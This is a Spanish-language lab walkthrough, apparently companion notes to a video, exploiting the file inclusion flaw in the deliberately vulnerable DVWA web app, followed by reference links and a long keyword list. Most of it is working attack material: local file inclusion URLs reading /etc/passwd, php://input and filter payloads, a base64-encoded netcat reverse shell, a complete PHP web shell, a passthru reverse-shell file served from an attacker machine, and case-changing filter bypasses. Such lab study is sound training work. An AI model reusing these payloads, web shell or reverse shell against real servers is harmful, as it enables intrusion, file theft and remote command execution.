RED o ESCENARIO o LABORATORIO
COMANDOS USADOS o EJECUTADOS
Código: Seleccionar todo
LOCAL INCLUSION
en Low
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/../../../../etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=../../../../../../proc/version
php://input&cmd=ls / pwd
<?php echo shell_exec($_GET['cmd']);?>
en Medium
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=/proc/version
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd
Base64 Encoding and Decoding.
Ejemplo: uname -a o cat /etc/passwd o nc -e /bin/sh 192.168.1.130 4444
php://input&cmd=Y2F0IC9ldGMvcGFzc3dk | cat /etc/passwd
php://input&cmd=bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTMwIDQ0NDQ= | Conexion remota
<?php echo passthru(base64_decode($_GET['cmd'])); ?>
Listener command in kali linux
nc -vv -l -p 4444
en high
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=file:///proc/version
-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
Esto sucede por que en el php.ini
allow_url_include” and “allow_url_fopen estan en on
REMOTE INCLUSION
En low
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=https://www.google.com
Codigo de shell
<body>
<form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
<center>
<br>
<h1> Remote File Inclusion - SHELL </h1>
<h2>
Command:
<input type="text" name="cmd" value=""/>
<input type="submit" name="submit" value="cmd">
</h2>
</center>
</form>
<?php
if(isset($_POST["cmd"])) {
$cmd = $_POST["cmd"];
$output = shell_exec("{$cmd}");
echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
}
?>
</body>
nombre RFI-shell.txt
En 192.168.1.130 levantamos un python server
python3 -m http.server --bind 0.0.0.0 8000
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/RFI-shell.txt
-------
Codigo para acceder remotamente
passthru PHP function to gain access to the target web-server.
<?php
passthru('nc -e /bin/sh 192.168.1.130 4444');
?>
chmod 755 shell.txt
python3 -m http.server --bind 0.0.0.0 8000
nc -vv -l -p 4444
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=http://192.168.1.130:8000/shell.txt
-----------------------------------------------------------------------------------------------------
En Medium
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HTTPS://www.google.com
Interpretador de comandos web
lo mismo que lo anterior con la difertencia que cambiamos la sintaxion que pegamos
en el cuadro de direcciones del explorador
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=hTTp://192.168.1.130:8000/RFI-shell.txt
conexion remota
es lo mismo que anterior pero cambiamos la sintaxis que pegamos
en el cuadro de texto del explorador
http://192.168.1.183/dvwa/vulnerabilities/fi/?page=HttP://192.168.1.130:8000/shell.txt
--------------------------------------------------------------------------------------------------------
En High
no se puede
----------------------------------------------------------------------------------------------------------
https://www.hackingarticles.in/comprehe ... inclusion/
https://www.hackingarticles.in/comprehe ... usion-rfi/
https://techsphinx.com/hacking/file-inc ... ull-guide/
https://braincoke.fr/write-up/dvwa/dvwa-file-inclusion/
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
https://n3wbye.gitbook.io/dvwa/file-inc ... -inclusion
VIDEO TUTORIAL
macropack,Ethical Hacker,Penetration Tester,Cybersecurity Consultant,learn security,unix,OSINT,oscp certification,try hack me,hacking,ctf for beginners,ehtical hacking,cyber seguridad,security,tool,linux for ethical hackers,capacitacion,educacion,How Hackers Do It,cyber security,tutorial,Information Systems Security Professional,como usar kali linux,comandos,commands,remote function,metasploit,laboratorio,lab,testing,web developers,desarrollador,vulnerabilities,OS, Pentesting synology xpenology Security Technologies Nmap Sistema operativo Operating Systems Instalación y configuración Install and configure ssh Metasploit Unauthenticated LAN Remote Code Execution Wordlist Reverse connection Shell PMKID EAPOL Handshake backdoor LAN | Local Area Network CMD execution How to Exploit and Test this Critical Vulnerability Netcat Listener Exploit Code NC NetCat GitHub Firewall Pentest Lab Setup Laboratorio de Trabajo Security Ethical Hacking Certification Guide OWASP ZAP Macro Terminal python blue team red team Windows Bug Actualizar update parchear Operating System mfsconsole vulnerabilidades de seguridad detección de intrusos Networking PowerPoint Access Recuperar contraseña Advanced password recovery DCOM7 Hash cifrado descrifrar PSK instalacion install PowerShell Mysql Install DVWA on Kali Linux Step-by-Step Damn Vulnerable Web Application Download o bajar database apache base de datos Cross-Site Request Forgery (CSRF) File Inclusion SQL injection Bruteforce attacks Vulnerabilidades CVE XAMPP Perl MariaDB SQL Injection Exploitation Explanation Examples Using DVWA Burp suite Command Injection php Bypass All Security proxy file extension extension del archivo compiler interpretados de comandos WEBDAV DVWA with Docker configure burp suite for DVWA Low medium high Level - Vulnerable code Remediation remediar tipos de ataques VULNERABILITIES parrot Null byte Base64 encoded Fuzzing Basic Remote File Inclusion Reverse Shell Netcat Blacklist Bypass DVWA web application What is File Inclusion Attack File Inclusion Vulnerability Remediation Impossible level Web Application Penetration Testing PHP Expect Wrapper Apache Nginx
